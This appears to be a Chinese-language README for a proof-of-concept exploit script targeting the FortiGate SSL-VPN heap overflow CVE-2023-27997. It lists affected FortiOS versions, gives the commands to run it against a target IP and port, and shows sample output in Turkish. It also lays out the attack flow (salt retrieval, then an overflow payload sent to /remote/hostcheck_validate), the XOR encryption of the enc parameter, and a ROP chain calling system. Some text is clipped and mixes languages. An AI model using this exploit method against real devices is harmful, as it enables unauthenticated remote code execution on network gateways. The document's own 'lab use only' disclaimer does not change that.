带有 ROP 链的 FortiGate SSL‑VPN CVE‑2023‑27997 漏洞利用 PoC 脚本
fgt-cve-2023-27997-exploit.py 是为 Fortinet FortiGate 设备中发现的严重安全漏洞 CVE‑2023‑27997 编写的一个 概念验证 (PoC) 漏洞利用脚本。
该漏洞源于 FortiOS SSL‑VPN 界面中一个无需身份验证即可实现远程代码执行 (RCE) 的基于堆的缓冲区溢出错误。
脚本运行步骤:
/remote/hostcheck_validate 端点发送经过篡改的 请求,触发。注意: 该脚本只能在 已授权的测试或实验室 环境中使用。
| 产品 | 版本 |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | 相关版本 |
pip3 install -r requirements.txt
requirements.txt 内容:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
示例:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| 参数 | 说明 |
|---|---|
<TARGET_IP> | 目标 FortiGate IP 地址 |
<TARGET_PORT> | SSL‑VPN 端口(默认:443 或 10443) |
[*] FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit Başlatılıyor...
[+] Salt alındı: 749a2b77
[+] Enc parametresi oluşturuldu (1024 karakter)
[!] 500 Internal Server Error - Bellek taşması veya crash olabilir!
/remote/info --> salt değeri alınır
/remote/hostcheck_validate?enc=<payload> --> buffer overflow tetiklenir
enc 参数使用由 salt + seed 组合生成的 XOR keystream 进行加密。| 步骤 | Gadget | 说明 |
|---|---|---|
| 1 | pop rdi ; ret | RDI 中加载命令地址 |
| 2 | system@plt | 执行命令 |
| – | 0xdeadbeefdeadbeef | 占位符;实际地址须在实验室环境中确定 |
该 PoC 被设计为可在受控测试环境中运行,无需堆 grooming。